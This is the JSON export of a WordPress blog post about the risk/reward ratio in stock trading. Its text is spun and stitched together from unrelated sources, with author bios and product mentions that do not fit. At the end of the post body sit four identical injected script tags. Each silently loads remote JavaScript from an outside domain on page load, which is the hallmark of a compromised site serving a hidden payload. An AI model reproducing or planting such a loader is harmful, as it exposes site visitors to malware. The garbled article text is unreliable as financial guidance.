tU+CHZ1293Ezo3SVTQvqbTRVf3Zu+ACxtHS\/rjg\/8A6r3iOL55Qrd4kuIrXHE5uVUbi62bBSkQto7dbqYuMFBSNJLYmlxy4kuc5zjjmc4nDRhoyFwXcWWmOE2t1bqOq23qNSahv1FHQUFYy4Np2UUILnvaWmNxdzyCEnqOkQ9KA6qWjb3fC4cWu4OpdX2qjl2j1TpSn05BAa6KR7zAOZrnQ\/CDS6prxjr0lGfk1G4AOFfTWhuI3eio15bWXmu2cqIaOzQ1cDSJDO6ofFXchHR5hp2Fh7h2ziOoBGj+geJHdzRO49i3Dn15qO6SWi7QXSekqLtMYqsMlD3xPBJbyvHM09D0d3LZmfwmbLVxMTb9aN2unpLZqCxwWbVVgqro14uLoHP7CqjlbGBHKxrmsHM1w5Q4YHNloGNt7vCI7979aBvO2erqHStNZbzPFI\/7n26SOohjjkD2xMkdK7ySWtzkFxAxnBIW2W0dTxgbBbQ6Bsevd3dj9prG2AG20Gp43C63CHnEjo6hgwC5jZWNIjcHgFoeQ7qdWt+OI3hK1jt7edPbL8K0WkNS32WCR98mqIyaHs6hkzhBGOYNDwwsIZ2YAdjBHRZL1z4RLY7d7TOlrzvJwvt1VuBo+nIt08t2fFavdTms55XRNOXxufG13YyNkAAxzdSUBm\/iO4fttdbeEl2gt1x09bxQ6ms092vtIIWCG5S0LamRnaM5cSF\/ZRsfzZ5o2Y83Wqv409ZXDwgFNw01OjtOzaIt95Fqox7jPu6nqY6UvFUyXm5WkSZGA0DsyR35K053q8IDftyd8ts9+9LaNbYL5oCibBNTy1fbwVry9xmaMNa5kb2SSMxkuDXd+VlC\/eEg2CO5Fr3y0vwoQR7julhFzvFbcgSyAARyiHkAa+Z0HNG2ZzGluRkOA5SBkTQG0ujt1fCv7oy61t1HcqTStEy+U1DUgPZLVNhoYo3OjPRzWdsXdegcGLMlt3R01qfVOtNJ8SfErw6ak21vMVTSUmnKa8U0VVbj2oEbHPe4FxawODnE8wkDXNLcYXOlvG3qPT\/GDeeKrQ+mmUjL3I2OrsdZU9o2ejMMUckDpWtGCTC17XBvkuDSQ7BByPqbi24FdQ3av3CqeCaaq1jdJZKmqbPfXCgdUPJJkMYJicS4kn9YGT35ygMwcIV+09tdwG70a2prDadUR6O1tcK6ytuELKinfUwwUIo6hw7nBkvZyZaQfJy0g4Iv+w8VF311wDXLij3I0BpS\/wCsdEXWSOz9vbg6mhrjPHT09U1jiSwsFUCQ1wJ5DgtJ6aHbY8WVt2+4SNf8M02iqmtqtaXGWuju7a1rI6YPjpW8piLCXY9zE55h8Iejr90\/xZ26ycFuouFB+iamWrvlzbcG3oVzRHEBVU8\/KYeTJ6QFueYfCz5kBt1u9uRWcUfgvbrvDudYbRJqqyXSNlNV0tP2YikZcYoO0jBJLOaGUscM4PU9OgFE3RtNRxwcB+2eu7A2jl11om+0WmbmM88r5J5YqF2T3h0rpKGoI9BI64Ws1l4vLbauCq88JrtD1UlZda73W29iuaI4x7siqOUw8mT0i5c83nytrvBU6Z3c2st24V93P0ncNPbaTWmmvzay9Uj6eN9RDmRtRB2gHNH2HM9z2gjyIjnuQGPfCna0sekqTbThR0dURPtug7PTVVfyhvP2zYBBStfgdHiFr3kecVDSufyvzfjdS572bw6t3Suksr33+5y1FOyXHNDSg8lPF06eRC2Nn+irDQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAWVtX8VPEJrvQVLtfqjdK7VWlaOnhpI7XGIoInQRNDY45OyY0ytaGtwHl3VoPf1WKUQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAEREAREQBERAf\/Z\" width=\"459px\" alt=\"what is risk reward ratio\"\/><\/p>\n<p><p>You notice that XYZ stock is trading at $25, down from a recent high of $29. Additionally, Deskera&#8217;s CRM module can be used to manage communication with beneficiaries and other stakeholders, while its inventory management module can help track physical assets held in the trust. Unless you&#8217;re an inexperienced stock investor, you would never let that $500 go all the way to zero. Charlene Rhinehart is a CPA , CFE, chair of an Illinois CPA Society committee, and has a degree in accounting and finance from DePaul University. Yarilet Perez is an experienced multimedia journalist and fact-checker with a Master of Science in Journalism. She has worked in multiple cities covering breaking news, politics, education, and more.<\/p>\n<\/p>\n<p><h2>How can risk\/reward ratio be used in investing?<\/h2>\n<\/p>\n<p><p>If the trade setup has a high risk\/reward ratio, it\u2019s probably not worth it to try and \u201cgame\u201d the numbers. It might be better to move on and look for a different setup with a good risk\/reward ratio. With our entry point and risk determined, the reward portion of the trade is considered. This is an offsetting order (a sell order in the case of the trade above) that closes the trade when the price reaches the profit-target price level. This is why some investors may approach investments with very low risk\/return ratios with caution, as a low ratio alone does not guarantee a good investment. You just divide your potential loss (risk) by the price of your potential profit (reward).<\/p>\n<\/p>\n<p><p>They look for the highest potential upside with the lowest potential downside. If an investment can bring the same yield as another but with less risk, it may be a better bet. The profit target is set at a location that is within reach based on normal market movements. By connecting the major swing lows in price with a trendline we see where the price has shown a tendency in the past to bounce.<\/p>\n<\/p>\n<p><h2>Risk\/Reward Ratios &#8211; Choosing Trades<\/h2>\n<\/p>\n<p><p>The risk\/reward ratio (R\/R ratio or R) calculates how much risk a trader is taking for potentially how much reward. In other words, it shows what the potential rewards for each $1 you risk on an investment are. Whether you\u2019re day trading or swing trading, there are a few fundamental concepts about risk that you should understand. These form the basis of your understanding of the market and give you a foundation to guide your trading activities and investment decisions. Otherwise, you won\u2019t be able to protect and grow your trading account. Good traders and investors choose their bets very carefully.<\/p>\n<\/p>\n<p><p>This means that for every dollar you risk, you have the potential to earn four dollars in profit. A higher risk\/reward ratio is generally considered more attractive, as it means you have the potential for greater profits relative to your potential losses. Investors often use stop-loss orders when trading individual stocks to help minimize losses and directly manage their investments with a risk\/reward focus. A stop-loss order is a trading trigger placed on a stock that automates the selling of the stock from a portfolio if the stock reaches a specified low. Investors can automatically set stop-loss orders through brokerage accounts and typically do not require exorbitant additional trading costs. Nearly all investments come with some level of risk; few, if any, can guarantee a return (or reward).<\/p>\n<\/p>\n<p><p>Risk is determined at the outset of the trade using a&nbsp;stop-loss order. Risk is the difference between your entry price and stop-loss price, multiplied by the position size. For example, if you buy a stock at $20, and place a stop-loss order at $19, you are exposed to $1 of risk per share.<\/p>\n<\/p>\n<p><p>You do that by dividing your potential risk by your potential reward. The lower the ratio is, the more potential reward you\u2019re getting per \u201cunit\u201d of risk. Each trader must find a balance between how often they tend to win (win rate) <a href=\"https:\/\/www.day-trading.info\/\">https:\/\/www.day-trading.info\/<\/a> and the risk\/reward they opt to use. Many active traders strive to win 50% to 60% of their trades and only take trades that have a risk\/reward of 0.67 to 0.25 or slightly lower (profit potential is 1.5 to 4 times the risk).<\/p>\n<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Estimating the expected return and potential loss is not an exact science, and the actual amount of risk and return may differ from your estimates. The risk-reward ratio is most commonly used by stock traders, investors and others in financial services to evaluate financial investments such as stock purchases. They sometimes limit risk by issuing &#8230; <a title=\"What is the Risk-Reward Ratio? Definition from TechTarget\" class=\"read-more\" href=\"https:\/\/www.mejakerja.net\/documentation\/?p=1543\" aria-label=\"More on What is the Risk-Reward Ratio? Definition from TechTarget\">Read more<\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[39],"tags":[],"_links":{"self":[{"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=\/wp\/v2\/posts\/1543"}],"collection":[{"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1543"}],"version-history":[{"count":5,"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=\/wp\/v2\/posts\/1543\/revisions"}],"predecessor-version":[{"id":5110,"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=\/wp\/v2\/posts\/1543\/revisions\/5110"}],"wp:attachment":[{"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1543"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1543"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mejakerja.net\/documentation\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1543"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}